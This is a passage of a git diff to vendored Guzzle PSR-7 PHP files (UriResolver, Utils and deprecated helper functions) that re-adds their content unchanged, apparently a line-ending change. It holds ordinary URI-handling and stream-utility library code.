'' && $base->getAuthority() !== $target->getAuthority()) { - return $target->withScheme(''); - } - - // We must remove the path before removing the authority because if the path starts with two slashes, the URI - // would turn invalid. And we also cannot set a relative path before removing the authority, as that is also - // invalid. - $emptyPathUri = $target->withScheme('')->withPath('')->withUserInfo('')->withPort(null)->withHost(''); - - if ($base->getPath() !== $target->getPath()) { - return $emptyPathUri->withPath(self::getRelativePath($base, $target)); - } - - if ($base->getQuery() === $target->getQuery()) { - // Only the target fragment is left. And it must be returned even if base and target fragment are the same. - return $emptyPathUri->withQuery(''); - } - - // If the base URI has a query but the target has none, we cannot return an empty path reference as it would - // inherit the base query component when resolving. - if ($target->getQuery() === '') { - $segments = explode('/', $target->getPath()); - $lastSegment = end($segments); - - return $emptyPathUri->withPath($lastSegment === '' ? './' : $lastSegment); - } - - return $emptyPathUri; - } - - private static function getRelativePath(UriInterface $base, UriInterface $target) - { - $sourceSegments = explode('/', $base->getPath()); - $targetSegments = explode('/', $target->getPath()); - array_pop($sourceSegments); - $targetLastSegment = array_pop($targetSegments); - foreach ($sourceSegments as $i => $segment) { - if (isset($targetSegments[$i]) && $segment === $targetSegments[$i]) { - unset($sourceSegments[$i], $targetSegments[$i]); - } else { - break; - } - } - $targetSegments[] = $targetLastSegment; - $relativePath = str_repeat('../', count($sourceSegments)) . implode('/', $targetSegments); - - // A reference to am empty last segment or an empty first sub-segment must be prefixed with "./". - // This also applies to a segment with a colon character (e.g., "file:colon") that cannot be used - // as the first segment of a relative-path reference, as it would be mistaken for a scheme name. - if ('' === $relativePath || false !== strpos(explode('/', $relativePath, 2)[0], ':')) { - $relativePath = "./$relativePath"; - } elseif ('/' === $relativePath[0]) { - if ($base->getAuthority() != '' && $base->getPath() === '') { - // In this case an extra slash is added by resolve() automatically. So we must not add one here. - $relativePath = ".$relativePath"; - } else { - $relativePath = "./$relativePath"; - } - } - - return $relativePath; - } - - private function __construct() - { - // cannot be instantiated - } -} +getScheme() != '') { + return $rel->withPath(self::removeDotSegments($rel->getPath())); + } + + if ($rel->getAuthority() != '') { + $targetAuthority = $rel->getAuthority(); + $targetPath = self::removeDotSegments($rel->getPath()); + $targetQuery = $rel->getQuery(); + } else { + $targetAuthority = $base->getAuthority(); + if ($rel->getPath() === '') { + $targetPath = $base->getPath(); + $targetQuery = $rel->getQuery() != '' ? $rel->getQuery() : $base->getQuery(); + } else { + if ($rel->getPath()[0] === '/') { + $targetPath = $rel->getPath(); + } else { + if ($targetAuthority != '' && $base->getPath() === '') { + $targetPath = '/' . $rel->getPath(); + } else { + $lastSlashPos = strrpos($base->getPath(), '/'); + if ($lastSlashPos === false) { + $targetPath = $rel->getPath(); + } else { + $targetPath = substr($base->getPath(), 0, $lastSlashPos + 1) . $rel->getPath(); + } + } + } + $targetPath = self::removeDotSegments($targetPath); + $targetQuery = $rel->getQuery(); + } + } + + return new Uri(Uri::composeComponents( + $base->getScheme(), + $targetAuthority, + $targetPath, + $targetQuery, + $rel->getFragment() + )); + } + + /** + * Returns the target URI as a relative reference from the base URI. + * + * This method is the counterpart to resolve(): + * + * (string) $target === (string) UriResolver::resolve($base, UriResolver::relativize($base, $target)) + * + * One use-case is to use the current request URI as base URI and then generate relative links in your documents + * to reduce the document size or offer self-contained downloadable document archives. + * + * $base = new Uri('http://example.com/a/b/'); + * echo UriResolver::relativize($base, new Uri('http://example.com/a/b/c')); // prints 'c'. + * echo UriResolver::relativize($base, new Uri('http://example.com/a/x/y')); // prints '../x/y'. + * echo UriResolver::relativize($base, new Uri('http://example.com/a/b/?q')); // prints '?q'. + * echo UriResolver::relativize($base, new Uri('http://example.org/a/b/')); // prints '//example.org/a/b/'. + * + * This method also accepts a target that is already relative and will try to relativize it further. Only a + * relative-path reference will be returned as-is. + * + * echo UriResolver::relativize($base, new Uri('/a/b/c')); // prints 'c' as well + * + * @param UriInterface $base Base URI + * @param UriInterface $target Target URI + * + * @return UriInterface The relative URI reference + */ + public static function relativize(UriInterface $base, UriInterface $target) + { + if ($target->getScheme() !== '' && + ($base->getScheme() !== $target->getScheme() || $target->getAuthority() === '' && $base->getAuthority() !== '') + ) { + return $target; + } + + if (Uri::isRelativePathReference($target)) { + // As the target is already highly relative we return it as-is. It would be possible to resolve + // the target with `$target = self::resolve($base, $target);` and then try make it more relative + // by removing a duplicate query. But let's not do that automatically. + return $target; + } + + if ($target->getAuthority() !== '' && $base->getAuthority() !== $target->getAuthority()) { + return $target->withScheme(''); + } + + // We must remove the path before removing the authority because if the path starts with two slashes, the URI + // would turn invalid. And we also cannot set a relative path before removing the authority, as that is also + // invalid. + $emptyPathUri = $target->withScheme('')->withPath('')->withUserInfo('')->withPort(null)->withHost(''); + + if ($base->getPath() !== $target->getPath()) { + return $emptyPathUri->withPath(self::getRelativePath($base, $target)); + } + + if ($base->getQuery() === $target->getQuery()) { + // Only the target fragment is left. And it must be returned even if base and target fragment are the same. + return $emptyPathUri->withQuery(''); + } + + // If the base URI has a query but the target has none, we cannot return an empty path reference as it would + // inherit the base query component when resolving. + if ($target->getQuery() === '') { + $segments = explode('/', $target->getPath()); + $lastSegment = end($segments); + + return $emptyPathUri->withPath($lastSegment === '' ? './' : $lastSegment); + } + + return $emptyPathUri; + } + + private static function getRelativePath(UriInterface $base, UriInterface $target) + { + $sourceSegments = explode('/', $base->getPath()); + $targetSegments = explode('/', $target->getPath()); + array_pop($sourceSegments); + $targetLastSegment = array_pop($targetSegments); + foreach ($sourceSegments as $i => $segment) { + if (isset($targetSegments[$i]) && $segment === $targetSegments[$i]) { + unset($sourceSegments[$i], $targetSegments[$i]); + } else { + break; + } + } + $targetSegments[] = $targetLastSegment; + $relativePath = str_repeat('../', count($sourceSegments)) . implode('/', $targetSegments); + + // A reference to am empty last segment or an empty first sub-segment must be prefixed with "./". + // This also applies to a segment with a colon character (e.g., "file:colon") that cannot be used + // as the first segment of a relative-path reference, as it would be mistaken for a scheme name. + if ('' === $relativePath || false !== strpos(explode('/', $relativePath, 2)[0], ':')) { + $relativePath = "./$relativePath"; + } elseif ('/' === $relativePath[0]) { + if ($base->getAuthority() != '' && $base->getPath() === '') { + // In this case an extra slash is added by resolve() automatically. So we must not add one here. + $relativePath = ".$relativePath"; + } else { + $relativePath = "./$relativePath"; + } + } + + return $relativePath; + } + + private function __construct() + { + // cannot be instantiated + } +} diff --git a/vendor/guzzlehttp/psr7/src/Utils.php b/vendor/guzzlehttp/psr7/src/Utils.php index 60ce6b9fca..6b6c8cced5 100644 --- a/vendor/guzzlehttp/psr7/src/Utils.php +++ b/vendor/guzzlehttp/psr7/src/Utils.php @@ -1,428 +1,428 @@ - $keys - * - * @return array - */ - public static function caselessRemove($keys, array $data) - { - $result = []; - - foreach ($keys as &$key) { - $key = strtolower($key); - } - - foreach ($data as $k => $v) { - if (!in_array(strtolower($k), $keys)) { - $result[$k] = $v; - } - } - - return $result; - } - - /** - * Copy the contents of a stream into another stream until the given number - * of bytes have been read. - * - * @param StreamInterface $source Stream to read from - * @param StreamInterface $dest Stream to write to - * @param int $maxLen Maximum number of bytes to read. Pass -1 - * to read the entire stream. - * - * @throws \RuntimeException on error. - */ - public static function copyToStream(StreamInterface $source, StreamInterface $dest, $maxLen = -1) - { - $bufferSize = 8192; - - if ($maxLen === -1) { - while (!$source->eof()) { - if (!$dest->write($source->read($bufferSize))) { - break; - } - } - } else { - $remaining = $maxLen; - while ($remaining > 0 && !$source->eof()) { - $buf = $source->read(min($bufferSize, $remaining)); - $len = strlen($buf); - if (!$len) { - break; - } - $remaining -= $len; - $dest->write($buf); - } - } - } - - /** - * Copy the contents of a stream into a string until the given number of - * bytes have been read. - * - * @param StreamInterface $stream Stream to read - * @param int $maxLen Maximum number of bytes to read. Pass -1 - * to read the entire stream. - * - * @return string - * - * @throws \RuntimeException on error. - */ - public static function copyToString(StreamInterface $stream, $maxLen = -1) - { - $buffer = ''; - - if ($maxLen === -1) { - while (!$stream->eof()) { - $buf = $stream->read(1048576); - // Using a loose equality here to match on '' and false. - if ($buf == null) { - break; - } - $buffer .= $buf; - } - return $buffer; - } - - $len = 0; - while (!$stream->eof() && $len < $maxLen) { - $buf = $stream->read($maxLen - $len); - // Using a loose equality here to match on '' and false. - if ($buf == null) { - break; - } - $buffer .= $buf; - $len = strlen($buffer); - } - - return $buffer; - } - - /** - * Calculate a hash of a stream. - * - * This method reads the entire stream to calculate a rolling hash, based - * on PHP's `hash_init` functions. - * - * @param StreamInterface $stream Stream to calculate the hash for - * @param string $algo Hash algorithm (e.g. md5, crc32, etc) - * @param bool $rawOutput Whether or not to use raw output - * - * @return string Returns the hash of the stream - * - * @throws \RuntimeException on error. - */ - public static function hash(StreamInterface $stream, $algo, $rawOutput = false) - { - $pos = $stream->tell(); - - if ($pos > 0) { - $stream->rewind(); - } - - $ctx = hash_init($algo); - while (!$stream->eof()) { - hash_update($ctx, $stream->read(1048576)); - } - - $out = hash_final($ctx, (bool) $rawOutput); - $stream->seek($pos); - - return $out; - } - - /** - * Clone and modify a request with the given changes. - * - * This method is useful for reducing the number of clones needed to mutate - * a message. - * - * The changes can be one of: - * - method: (string) Changes the HTTP method. - * - set_headers: (array) Sets the given headers. - * - remove_headers: (array) Remove the given headers. - * - body: (mixed) Sets the given body. - * - uri: (UriInterface) Set the URI. - * - query: (string) Set the query string value of the URI. - * - version: (string) Set the protocol version. - * - * @param RequestInterface $request Request to clone and modify. - * @param array $changes Changes to apply. - * - * @return RequestInterface - */ - public static function modifyRequest(RequestInterface $request, array $changes) - { - if (!$changes) { - return $request; - } - - $headers = $request->getHeaders(); - - if (!isset($changes['uri'])) { - $uri = $request->getUri(); - } else { - // Remove the host header if one is on the URI - if ($host = $changes['uri']->getHost()) { - $changes['set_headers']['Host'] = $host; - - if ($port = $changes['uri']->getPort()) { - $standardPorts = ['http' => 80, 'https' => 443]; - $scheme = $changes['uri']->getScheme(); - if (isset($standardPorts[$scheme]) && $port != $standardPorts[$scheme]) { - $changes['set_headers']['Host'] .= ':' . $port; - } - } - } - $uri = $changes['uri']; - } - - if (!empty($changes['remove_headers'])) { - $headers = self::caselessRemove($changes['remove_headers'], $headers); - } - - if (!empty($changes['set_headers'])) { - $headers = self::caselessRemove(array_keys($changes['set_headers']), $headers); - $headers = $changes['set_headers'] + $headers; - } - - if (isset($changes['query'])) { - $uri = $uri->withQuery($changes['query']); - } - - if ($request instanceof ServerRequestInterface) { - $new = (new ServerRequest( - isset($changes['method']) ? $changes['method'] : $request->getMethod(), - $uri, - $headers, - isset($changes['body']) ? $changes['body'] : $request->getBody(), - isset($changes['version']) - ? $changes['version'] - : $request->getProtocolVersion(), - $request->getServerParams() - )) - ->withParsedBody($request->getParsedBody()) - ->withQueryParams($request->getQueryParams()) - ->withCookieParams($request->getCookieParams()) - ->withUploadedFiles($request->getUploadedFiles()); - - foreach ($request->getAttributes() as $key => $value) { - $new = $new->withAttribute($key, $value); - } - - return $new; - } - - return new Request( - isset($changes['method']) ? $changes['method'] : $request->getMethod(), - $uri, - $headers, - isset($changes['body']) ? $changes['body'] : $request->getBody(), - isset($changes['version']) - ? $changes['version'] - : $request->getProtocolVersion() - ); - } - - /** - * Read a line from the stream up to the maximum allowed buffer length. - * - * @param StreamInterface $stream Stream to read from - * @param int|null $maxLength Maximum buffer length - * - * @return string - */ - public static function readLine(StreamInterface $stream, $maxLength = null) - { - $buffer = ''; - $size = 0; - - while (!$stream->eof()) { - // Using a loose equality here to match on '' and false. - if (null == ($byte = $stream->read(1))) { - return $buffer; - } - $buffer .= $byte; - // Break when a new line is found or the max length - 1 is reached - if ($byte === "\n" || ++$size === $maxLength - 1) { - break; - } - } - - return $buffer; - } - - /** - * Create a new stream based on the input type. - * - * Options is an associative array that can contain the following keys: - * - metadata: Array of custom metadata. - * - size: Size of the stream. - * - * This method accepts the following `$resource` types: - * - `Psr\Http\Message\StreamInterface`: Returns the value as-is. - * - `string`: Creates a stream object that uses the given string as the contents. - * - `resource`: Creates a stream object that wraps the given PHP stream resource. - * - `Iterator`: If the provided value implements `Iterator`, then a read-only - * stream object will be created that wraps the given iterable. Each time the - * stream is read from, data from the iterator will fill a buffer and will be - * continuously called until the buffer is equal to the requested read size. - * Subsequent read calls will first read from the buffer and then call `next` - * on the underlying iterator until it is exhausted. - * - `object` with `__toString()`: If the object has the `__toString()` method, - * the object will be cast to a string and then a stream will be returned that - * uses the string value. - * - `NULL`: When `null` is passed, an empty stream object is returned. - * - `callable` When a callable is passed, a read-only stream object will be - * created that invokes the given callable. The callable is invoked with the - * number of suggested bytes to read. The callable can return any number of - * bytes, but MUST return `false` when there is no more data to return. The - * stream object that wraps the callable will invoke the callable until the - * number of requested bytes are available. Any additional bytes will be - * buffered and used in subsequent reads. - * - * @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data - * @param array $options Additional options - * - * @return StreamInterface - * - * @throws \InvalidArgumentException if the $resource arg is not valid. - */ - public static function streamFor($resource = '', array $options = []) - { - if (is_scalar($resource)) { - $stream = self::tryFopen('php://temp', 'r+'); - if ($resource !== '') { - fwrite($stream, $resource); - fseek($stream, 0); - } - return new Stream($stream, $options); - } - - switch (gettype($resource)) { - case 'resource': - /* - * The 'php://input' is a special stream with quirks and inconsistencies. - * We avoid using that stream by reading it into php://temp - */ - $metaData = \stream_get_meta_data($resource); - if (isset($metaData['uri']) && $metaData['uri'] === 'php://input') { - $stream = self::tryFopen('php://temp', 'w+'); - fwrite($stream, stream_get_contents($resource)); - fseek($stream, 0); - $resource = $stream; - } - return new Stream($resource, $options); - case 'object': - if ($resource instanceof StreamInterface) { - return $resource; - } elseif ($resource instanceof \Iterator) { - return new PumpStream(function () use ($resource) { - if (!$resource->valid()) { - return false; - } - $result = $resource->current(); - $resource->next(); - return $result; - }, $options); - } elseif (method_exists($resource, '__toString')) { - return Utils::streamFor((string) $resource, $options); - } - break; - case 'NULL': - return new Stream(self::tryFopen('php://temp', 'r+'), $options); - } - - if (is_callable($resource)) { - return new PumpStream($resource, $options); - } - - throw new \InvalidArgumentException('Invalid resource type: ' . gettype($resource)); - } - - /** - * Safely opens a PHP stream resource using a filename. - * - * When fopen fails, PHP normally raises a warning. This function adds an - * error handler that checks for errors and throws an exception instead. - * - * @param string $filename File to open - * @param string $mode Mode used to open the file - * - * @return resource - * - * @throws \RuntimeException if the file cannot be opened - */ - public static function tryFopen($filename, $mode) - { - $ex = null; - set_error_handler(function () use ($filename, $mode, &$ex) { - $ex = new \RuntimeException(sprintf( - 'Unable to open "%s" using mode "%s": %s', - $filename, - $mode, - func_get_args()[1] - )); - - return true; - }); - - try { - $handle = fopen($filename, $mode); - } catch (\Throwable $e) { - $ex = new \RuntimeException(sprintf( - 'Unable to open "%s" using mode "%s": %s', - $filename, - $mode, - $e->getMessage() - ), 0, $e); - } - - restore_error_handler(); - - if ($ex) { - /** @var $ex \RuntimeException */ - throw $ex; - } - - return $handle; - } - - /** - * Returns a UriInterface for the given value. - * - * This function accepts a string or UriInterface and returns a - * UriInterface for the given value. If the value is already a - * UriInterface, it is returned as-is. - * - * @param string|UriInterface $uri - * - * @return UriInterface - * - * @throws \InvalidArgumentException - */ - public static function uriFor($uri) - { - if ($uri instanceof UriInterface) { - return $uri; - } - - if (is_string($uri)) { - return new Uri($uri); - } - - throw new \InvalidArgumentException('URI must be a string or UriInterface'); - } -} + $keys + * + * @return array + */ + public static function caselessRemove($keys, array $data) + { + $result = []; + + foreach ($keys as &$key) { + $key = strtolower($key); + } + + foreach ($data as $k => $v) { + if (!in_array(strtolower($k), $keys)) { + $result[$k] = $v; + } + } + + return $result; + } + + /** + * Copy the contents of a stream into another stream until the given number + * of bytes have been read. + * + * @param StreamInterface $source Stream to read from + * @param StreamInterface $dest Stream to write to + * @param int $maxLen Maximum number of bytes to read. Pass -1 + * to read the entire stream. + * + * @throws \RuntimeException on error. + */ + public static function copyToStream(StreamInterface $source, StreamInterface $dest, $maxLen = -1) + { + $bufferSize = 8192; + + if ($maxLen === -1) { + while (!$source->eof()) { + if (!$dest->write($source->read($bufferSize))) { + break; + } + } + } else { + $remaining = $maxLen; + while ($remaining > 0 && !$source->eof()) { + $buf = $source->read(min($bufferSize, $remaining)); + $len = strlen($buf); + if (!$len) { + break; + } + $remaining -= $len; + $dest->write($buf); + } + } + } + + /** + * Copy the contents of a stream into a string until the given number of + * bytes have been read. + * + * @param StreamInterface $stream Stream to read + * @param int $maxLen Maximum number of bytes to read. Pass -1 + * to read the entire stream. + * + * @return string + * + * @throws \RuntimeException on error. + */ + public static function copyToString(StreamInterface $stream, $maxLen = -1) + { + $buffer = ''; + + if ($maxLen === -1) { + while (!$stream->eof()) { + $buf = $stream->read(1048576); + // Using a loose equality here to match on '' and false. + if ($buf == null) { + break; + } + $buffer .= $buf; + } + return $buffer; + } + + $len = 0; + while (!$stream->eof() && $len < $maxLen) { + $buf = $stream->read($maxLen - $len); + // Using a loose equality here to match on '' and false. + if ($buf == null) { + break; + } + $buffer .= $buf; + $len = strlen($buffer); + } + + return $buffer; + } + + /** + * Calculate a hash of a stream. + * + * This method reads the entire stream to calculate a rolling hash, based + * on PHP's `hash_init` functions. + * + * @param StreamInterface $stream Stream to calculate the hash for + * @param string $algo Hash algorithm (e.g. md5, crc32, etc) + * @param bool $rawOutput Whether or not to use raw output + * + * @return string Returns the hash of the stream + * + * @throws \RuntimeException on error. + */ + public static function hash(StreamInterface $stream, $algo, $rawOutput = false) + { + $pos = $stream->tell(); + + if ($pos > 0) { + $stream->rewind(); + } + + $ctx = hash_init($algo); + while (!$stream->eof()) { + hash_update($ctx, $stream->read(1048576)); + } + + $out = hash_final($ctx, (bool) $rawOutput); + $stream->seek($pos); + + return $out; + } + + /** + * Clone and modify a request with the given changes. + * + * This method is useful for reducing the number of clones needed to mutate + * a message. + * + * The changes can be one of: + * - method: (string) Changes the HTTP method. + * - set_headers: (array) Sets the given headers. + * - remove_headers: (array) Remove the given headers. + * - body: (mixed) Sets the given body. + * - uri: (UriInterface) Set the URI. + * - query: (string) Set the query string value of the URI. + * - version: (string) Set the protocol version. + * + * @param RequestInterface $request Request to clone and modify. + * @param array $changes Changes to apply. + * + * @return RequestInterface + */ + public static function modifyRequest(RequestInterface $request, array $changes) + { + if (!$changes) { + return $request; + } + + $headers = $request->getHeaders(); + + if (!isset($changes['uri'])) { + $uri = $request->getUri(); + } else { + // Remove the host header if one is on the URI + if ($host = $changes['uri']->getHost()) { + $changes['set_headers']['Host'] = $host; + + if ($port = $changes['uri']->getPort()) { + $standardPorts = ['http' => 80, 'https' => 443]; + $scheme = $changes['uri']->getScheme(); + if (isset($standardPorts[$scheme]) && $port != $standardPorts[$scheme]) { + $changes['set_headers']['Host'] .= ':' . $port; + } + } + } + $uri = $changes['uri']; + } + + if (!empty($changes['remove_headers'])) { + $headers = self::caselessRemove($changes['remove_headers'], $headers); + } + + if (!empty($changes['set_headers'])) { + $headers = self::caselessRemove(array_keys($changes['set_headers']), $headers); + $headers = $changes['set_headers'] + $headers; + } + + if (isset($changes['query'])) { + $uri = $uri->withQuery($changes['query']); + } + + if ($request instanceof ServerRequestInterface) { + $new = (new ServerRequest( + isset($changes['method']) ? $changes['method'] : $request->getMethod(), + $uri, + $headers, + isset($changes['body']) ? $changes['body'] : $request->getBody(), + isset($changes['version']) + ? $changes['version'] + : $request->getProtocolVersion(), + $request->getServerParams() + )) + ->withParsedBody($request->getParsedBody()) + ->withQueryParams($request->getQueryParams()) + ->withCookieParams($request->getCookieParams()) + ->withUploadedFiles($request->getUploadedFiles()); + + foreach ($request->getAttributes() as $key => $value) { + $new = $new->withAttribute($key, $value); + } + + return $new; + } + + return new Request( + isset($changes['method']) ? $changes['method'] : $request->getMethod(), + $uri, + $headers, + isset($changes['body']) ? $changes['body'] : $request->getBody(), + isset($changes['version']) + ? $changes['version'] + : $request->getProtocolVersion() + ); + } + + /** + * Read a line from the stream up to the maximum allowed buffer length. + * + * @param StreamInterface $stream Stream to read from + * @param int|null $maxLength Maximum buffer length + * + * @return string + */ + public static function readLine(StreamInterface $stream, $maxLength = null) + { + $buffer = ''; + $size = 0; + + while (!$stream->eof()) { + // Using a loose equality here to match on '' and false. + if (null == ($byte = $stream->read(1))) { + return $buffer; + } + $buffer .= $byte; + // Break when a new line is found or the max length - 1 is reached + if ($byte === "\n" || ++$size === $maxLength - 1) { + break; + } + } + + return $buffer; + } + + /** + * Create a new stream based on the input type. + * + * Options is an associative array that can contain the following keys: + * - metadata: Array of custom metadata. + * - size: Size of the stream. + * + * This method accepts the following `$resource` types: + * - `Psr\Http\Message\StreamInterface`: Returns the value as-is. + * - `string`: Creates a stream object that uses the given string as the contents. + * - `resource`: Creates a stream object that wraps the given PHP stream resource. + * - `Iterator`: If the provided value implements `Iterator`, then a read-only + * stream object will be created that wraps the given iterable. Each time the + * stream is read from, data from the iterator will fill a buffer and will be + * continuously called until the buffer is equal to the requested read size. + * Subsequent read calls will first read from the buffer and then call `next` + * on the underlying iterator until it is exhausted. + * - `object` with `__toString()`: If the object has the `__toString()` method, + * the object will be cast to a string and then a stream will be returned that + * uses the string value. + * - `NULL`: When `null` is passed, an empty stream object is returned. + * - `callable` When a callable is passed, a read-only stream object will be + * created that invokes the given callable. The callable is invoked with the + * number of suggested bytes to read. The callable can return any number of + * bytes, but MUST return `false` when there is no more data to return. The + * stream object that wraps the callable will invoke the callable until the + * number of requested bytes are available. Any additional bytes will be + * buffered and used in subsequent reads. + * + * @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data + * @param array $options Additional options + * + * @return StreamInterface + * + * @throws \InvalidArgumentException if the $resource arg is not valid. + */ + public static function streamFor($resource = '', array $options = []) + { + if (is_scalar($resource)) { + $stream = self::tryFopen('php://temp', 'r+'); + if ($resource !== '') { + fwrite($stream, $resource); + fseek($stream, 0); + } + return new Stream($stream, $options); + } + + switch (gettype($resource)) { + case 'resource': + /* + * The 'php://input' is a special stream with quirks and inconsistencies. + * We avoid using that stream by reading it into php://temp + */ + $metaData = \stream_get_meta_data($resource); + if (isset($metaData['uri']) && $metaData['uri'] === 'php://input') { + $stream = self::tryFopen('php://temp', 'w+'); + fwrite($stream, stream_get_contents($resource)); + fseek($stream, 0); + $resource = $stream; + } + return new Stream($resource, $options); + case 'object': + if ($resource instanceof StreamInterface) { + return $resource; + } elseif ($resource instanceof \Iterator) { + return new PumpStream(function () use ($resource) { + if (!$resource->valid()) { + return false; + } + $result = $resource->current(); + $resource->next(); + return $result; + }, $options); + } elseif (method_exists($resource, '__toString')) { + return Utils::streamFor((string) $resource, $options); + } + break; + case 'NULL': + return new Stream(self::tryFopen('php://temp', 'r+'), $options); + } + + if (is_callable($resource)) { + return new PumpStream($resource, $options); + } + + throw new \InvalidArgumentException('Invalid resource type: ' . gettype($resource)); + } + + /** + * Safely opens a PHP stream resource using a filename. + * + * When fopen fails, PHP normally raises a warning. This function adds an + * error handler that checks for errors and throws an exception instead. + * + * @param string $filename File to open + * @param string $mode Mode used to open the file + * + * @return resource + * + * @throws \RuntimeException if the file cannot be opened + */ + public static function tryFopen($filename, $mode) + { + $ex = null; + set_error_handler(function () use ($filename, $mode, &$ex) { + $ex = new \RuntimeException(sprintf( + 'Unable to open "%s" using mode "%s": %s', + $filename, + $mode, + func_get_args()[1] + )); + + return true; + }); + + try { + $handle = fopen($filename, $mode); + } catch (\Throwable $e) { + $ex = new \RuntimeException(sprintf( + 'Unable to open "%s" using mode "%s": %s', + $filename, + $mode, + $e->getMessage() + ), 0, $e); + } + + restore_error_handler(); + + if ($ex) { + /** @var $ex \RuntimeException */ + throw $ex; + } + + return $handle; + } + + /** + * Returns a UriInterface for the given value. + * + * This function accepts a string or UriInterface and returns a + * UriInterface for the given value. If the value is already a + * UriInterface, it is returned as-is. + * + * @param string|UriInterface $uri + * + * @return UriInterface + * + * @throws \InvalidArgumentException + */ + public static function uriFor($uri) + { + if ($uri instanceof UriInterface) { + return $uri; + } + + if (is_string($uri)) { + return new Uri($uri); + } + + throw new \InvalidArgumentException('URI must be a string or UriInterface'); + } +} diff --git a/vendor/guzzlehttp/psr7/src/functions.php b/vendor/guzzlehttp/psr7/src/functions.php index 266e65988a..b0901fadd3 100644 --- a/vendor/guzzlehttp/psr7/src/functions.php +++ b/vendor/guzzlehttp/psr7/src/functions.php @@ -1,422 +1,422 @@ - '1', 'foo[b]' => '2'])`. - * - * @param string $str Query string to parse - * @param int|bool $urlEncoding How the query string is encoded - * - * @return array - * - * @deprecated parse_query will be removed in guzzlehttp/psr7:2.0. Use Query::parse instead. - */ -function parse_query($str, $urlEncoding = true) -{ - return Query::parse($str, $urlEncoding); -} - -/** - * Build a query string from an array of key value pairs. - * - * This function can use the return value of `parse_query()` to build a query - * string. This function does not modify the provided keys when an array is - * encountered (like `http_build_query()` would). - * - * @param array $params Query string parameters. - * @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986 - * to encode using RFC3986, or PHP_QUERY_RFC1738 - * to encode using RFC1738. - * - * @return string - * - * @deprecated build_query will be removed in guzzlehttp/psr7:2.0. Use Query::build instead. - */ -function build_query(array $params, $encoding = PHP_QUERY_RFC3986) -{ - return Query::build($params, $encoding); -} - -/** - * Determines the mimetype of a file by looking at its extension. - * - * @param string $filename - * - * @return string|null - * - * @deprecated mimetype_from_filename will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromFilename instead. - */ -function mimetype_from_filename($filename) -{ - return MimeType::fromFilename($filename); -} - -/** - * Maps a file extensions to a mimetype. - * - * @param $extension string The file extension. - * - * @return string|null - * - * @link http://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/conf/mime.types - * @deprecated mimetype_from_extension will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromExtension instead. - */ -function mimetype_from_extension($extension) -{ - return MimeType::fromExtension($extension); -} - -/** - * Parses an HTTP message into an associative array. - * - * The array contains the "start-line" key containing the start line of - * the message, "headers" key containing an associative array of header - * array values, and a "body" key containing the body of the message. - * - * @param string $message HTTP request or response to parse. - * - * @return array - * - * @internal - * - * @deprecated _parse_message will be removed in guzzlehttp/psr7:2.0. Use Message::parseMessage instead. - */ -function _parse_message($message) -{ - return Message::parseMessage($message); -} - -/** - * Constructs a URI for an HTTP request message. - * - * @param string $path Path from the start-line - * @param array $headers Array of headers (each value an array). - * - * @return string - * - * @internal - * - * @deprecated _parse_request_uri will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequestUri instead. - */ -function _parse_request_uri($path, array $headers) -{ - return Message::parseRequestUri($path, $headers); -} - -/** - * Get a short summary of the message body. - * - * Will return `null` if the response is not printable. - * - * @param MessageInterface $message The message to get the body summary - * @param int $truncateAt The maximum allowed size of the summary - * - * @return string|null - * - * @deprecated get_message_body_summary will be removed in guzzlehttp/psr7:2.0. Use Message::bodySummary instead. - */ -function get_message_body_summary(MessageInterface $message, $truncateAt = 120) -{ - return Message::bodySummary($message, $truncateAt); -} - -/** - * Remove the items given by the keys, case insensitively from the data. - * - * @param iterable $keys - * - * @return array - * - * @internal - * - * @deprecated _caseless_remove will be removed in guzzlehttp/psr7:2.0. Use Utils::caselessRemove instead. - */ -function _caseless_remove($keys, array $data) -{ - return Utils::caselessRemove($keys, $data); -} + '1', 'foo[b]' => '2'])`. + * + * @param string $str Query string to parse + * @param int|bool $urlEncoding How the query string is encoded + * + * @return array + * + * @deprecated parse_query will be removed in guzzlehttp/psr7:2.0. Use Query::parse instead. + */ +function parse_query($str, $urlEncoding = true) +{ + return Query::parse($str, $urlEncoding); +} + +/** + * Build a query string from an array of key value pairs. + * + * This function can use the return value of `parse_query()` to build a query + * string. This function does not modify the provided keys when an array is + * encountered (like `http_build_query()` would). + * + * @param array $params Query string parameters. + * @param int|false $encoding Set to false to not encode, PHP_QUERY_RFC3986 + * to encode using RFC3986, or PHP_QUERY_RFC1738 + * to encode using RFC1738. + * + * @return string + * + * @deprecated build_query will be removed in guzzlehttp/psr7:2.0. Use Query::build instead. + */ +function build_query(array $params, $encoding = PHP_QUERY_RFC3986) +{ + return Query::build($params, $encoding); +} + +/** + * Determines the mimetype of a file by looking at its extension. + * + * @param string $filename + * + * @return string|null + * + * @deprecated mimetype_from_filename will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromFilename instead. + */ +function mimetype_from_filename($filename) +{ + return MimeType::fromFilename($filename); +} + +/** + * Maps a file extensions to a mimetype. + * + * @param $extension string The file extension. + * + * @return string|null + * + * @link http://svn.apache.org/repos/asf/httpd/httpd/branches/1.3.x/conf/mime.types + * @deprecated mimetype_from_extension will be removed in guzzlehttp/psr7:2.0. Use MimeType::fromExtension instead. + */ +function mimetype_from_extension($extension) +{ + return MimeType::fromExtension($extension); +} + +/** + * Parses an HTTP message into an associative array. + * + * The array contains the "start-line" key containing the start line of + * the message, "headers" key containing an associative array of header + * array values, and a "body" key containing the body of the message. + * + * @param string $message HTTP request or response to parse. + * + * @return array + * + * @internal + * + * @deprecated _parse_message will be removed in guzzlehttp/psr7:2.0. Use Message::parseMessage instead. + */ +function _parse_message($message) +{ + return Message::parseMessage($message); +} + +/** + * Constructs a URI for an HTTP request message. + * + * @param string $path Path from the start-line + * @param array $headers Array of headers (each value an array). + * + * @return string + * + * @internal + * + * @deprecated _parse_request_uri will be removed in guzzlehttp/psr7:2.0. Use Message::parseRequestUri instead. + */ +function _parse_request_uri($path, array $headers) +{ + return Message::parseRequestUri($path, $headers); +} + +/** + * Get a short summary of the message body. + * + * Will return `null` if the response is not printable. + * + * @param MessageInterface $message The message to get the body summary + * @param int $truncateAt The maximum allowed size of the summary + * + * @return string|null + * + * @deprecated get_message_body_summary will be removed in guzzlehttp/psr7:2.0. Use Message::bodySummary instead. + */ +function get_message_body_summary(MessageInterface $message, 